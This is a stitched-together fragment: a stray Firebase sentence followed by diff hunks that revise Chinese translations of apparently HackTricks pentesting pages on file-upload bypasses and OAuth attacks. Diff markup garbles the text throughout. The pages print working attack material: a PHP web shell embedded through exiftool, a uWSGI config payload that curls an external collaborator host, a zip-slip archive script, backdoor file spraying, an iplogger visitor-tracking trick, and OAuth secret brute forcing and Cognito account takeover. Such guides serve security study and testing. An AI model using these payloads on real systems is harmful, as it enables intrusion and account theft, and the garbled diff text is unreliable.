Firebase 是一种主要用于移动应用的后端即服务(Backend-as-a-Service)。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
|
||||
|
||||
了解更多关于 Firebase 的信息:
|
||||
|
||||
|
@ -21,7 +21,7 @@
|
||||
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -43,15 +43,15 @@
|
||||
5. 在之前的检查中添加**另一层扩展名**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php结尾**将执行代码):
|
||||
- _例如: file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
|
||||
- _例如:file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux最大255字节
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
|
||||
# 上传文件并检查响应允许多少个字符。假设236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -61,8 +61,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### 绕过内容类型、魔术数字、压缩和调整大小
|
||||
|
||||
- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查
|
||||
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
|
||||
1. Content-Type **字典**:[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以**直接在图像中引入有效载荷**:\
|
||||
@ -79,26 +79,26 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
|
||||
- 找到一个**本地文件包含**漏洞以执行后门。
|
||||
- **可能的信息泄露**:
|
||||
1. **多次**(并且在**同一时间**)上传**同一文件**,并使用**相同的名称**
|
||||
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
|
||||
3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
|
||||
1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
|
||||
2. 上传一个**已经存在**的**文件**或**文件夹**的**名称**的文件
|
||||
3. 上传一个**“.”、 “..”或“...”作为其名称**的文件。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
|
||||
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`。(Windows)
|
||||
6. 在**Windows**中上传一个文件,使用**保留**(**禁止**)**名称**,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
|
||||
5. 在**Windows**中上传一个带有**无效字符**的文件,例如`|<>*?”`作为其名称。(Windows)
|
||||
6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当被受害者意外打开时**将执行代码**。
|
||||
|
||||
### 特殊扩展名技巧
|
||||
|
||||
如果你尝试将文件上传到**PHP服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
如果你尝试将文件上传到**ASP服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
如果你尝试将文件上传到**PHP服务器**,[查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
如果你尝试将文件上传到**ASP服务器**,[查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar`文件类似于Java的`.jar`,但用于PHP,并且可以**像PHP文件一样使用**(通过PHP执行或在脚本中包含它...)
|
||||
`.phar`文件类似于Java的`.jar`,但用于PHP,可以**像PHP文件一样使用**(用PHP执行或在脚本中包含它...)
|
||||
|
||||
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
|
||||
如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。**因此,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
|
||||
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
|
||||
|
||||
## **wget 文件上传/SSRF 技巧**
|
||||
|
||||
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
|
||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
|
||||
在 **linux** 中,**文件名**的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
|
||||
## 工具
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
|
||||
|
||||
## 从文件上传到其他漏洞
|
||||
|
||||
@ -172,15 +172,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE在svg上传中**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
|
||||
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
|
||||
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL,并**窃取每个访问者的信息**。
|
||||
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
|
||||
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,遵循给定的指示。
|
||||
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
|
||||
- 检查上传文件是否有任何**大小限制**
|
||||
|
||||
以下是通过上传可以实现的前10件事(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
以下是您可以通过上传实现的前10个事项(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webshell / RCE
|
||||
2. **SVG**:存储的XSS / SSRF / XXE
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
|
||||
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
|
||||
在解压过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
|
||||
```python
|
||||
@ -249,9 +249,9 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**利用压缩进行文件喷洒**
|
||||
**滥用压缩进行文件喷洒**
|
||||
|
||||
有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
有关更多详细信息,请**查看原始帖子**:[https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **创建 PHP Shell**:编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
|
||||
|
||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **使用十六进制编辑器或 vi 进行修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
|
||||
3. **使用十六进制编辑器或 vi 修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -291,17 +291,17 @@ pop graphic-context
|
||||
|
||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。
|
||||
|
||||
关于此技术的详细探讨,包括其方法论和潜在应用,详见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
|
||||
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## 多格式文件
|
||||
|
||||
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
多格式文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
|
||||
多格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
|
||||
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
尽管它们具有适应性,多格式文件仍然面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
|
||||
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -6,19 +6,19 @@
|
||||
|
||||
OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。
|
||||
|
||||
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您的许可以 **访问您的社交媒体帖子**。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
|
||||
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
|
||||
|
||||
理解 OAuth 2.0 框架中的以下组件至关重要:
|
||||
|
||||
- **资源拥有者**:您,作为 **用户/实体**,授权访问您的资源,例如您的社交媒体账户帖子。
|
||||
- **资源服务器**:在应用程序代表 `资源拥有者` 获取 `access token` 后,**管理经过身份验证请求的服务器**,例如 **https://socialmedia.com**。
|
||||
- **客户端应用程序**:**请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com**。
|
||||
- **客户端应用程序**:向 `资源拥有者` 请求授权的 **应用程序**,例如 **https://example.com**。
|
||||
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**。
|
||||
- **client_id**:应用程序的公共唯一标识符。
|
||||
- **client_secret**:仅为应用程序和授权服务器所知的机密密钥,用于生成 `access_tokens`。
|
||||
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code`。
|
||||
- **scope**:`客户端应用程序` 请求的 **访问级别**。
|
||||
- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 一致。
|
||||
- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
|
||||
- **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
|
||||
- **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。
|
||||
- **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id` 和 `client_secret` 一起使用以获取 `access_token`。
|
||||
@ -27,7 +27,7 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
|
||||
|
||||
### 流程
|
||||
|
||||
**实际的 OAuth 流程**如下:
|
||||
**实际的 OAuth 流程** 如下:
|
||||
|
||||
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
|
||||
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下:
|
||||
@ -56,9 +56,9 @@ Host: socialmedia.com
|
||||
|
||||
### 开放的 redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri` 在 OAuth 和 OpenID 实现中对安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
|
||||
`redirect_uri` 对于 OAuth 和 OpenID 实现的安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
|
||||
|
||||
利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌盗窃。
|
||||
利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃取。
|
||||
|
||||
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri`、`policy_uri`、`tos_uri` 和 `initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。
|
||||
|
||||
@ -74,9 +74,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
在OAuth实现中,**`state`参数**的误用或遗漏会显著增加**跨站请求伪造(CSRF)**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时,攻击者可以绕过CSRF保护。
|
||||
|
||||
攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这一点尤其关键。
|
||||
攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这尤其关键。
|
||||
|
||||
在各种**CTF挑战**和**黑客平台**中,已经记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
|
||||
在各种**CTF挑战**和**黑客平台**中记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
|
||||
|
||||
正确处理和验证**`state`参数**对于防范CSRF和保护OAuth流程至关重要。
|
||||
|
||||
@ -87,13 +87,13 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
### 秘密泄露 <a href="#e177" id="e177"></a>
|
||||
|
||||
识别和保护秘密的OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
|
||||
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
|
||||
|
||||
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的信任状态。
|
||||
|
||||
### 客户端密钥暴力破解
|
||||
|
||||
您可以尝试**暴力破解服务提供商的client_secret**与身份提供者,以试图窃取账户。\
|
||||
您可以尝试通过身份提供者**暴力破解服务提供者的client_secret**以窃取账户。\
|
||||
暴力破解的请求可能类似于:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
一旦客户端拥有了 **code 和 state**,如果它们在用户浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
|
||||
一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **令牌** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户电子邮件更改为其他用户的电子邮件**,你可能能够 **接管** 其他账户。
|
||||
在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户邮箱更改为其他用户邮箱**,你可能能够 **接管** 其他账户。
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -160,17 +160,17 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
|
||||
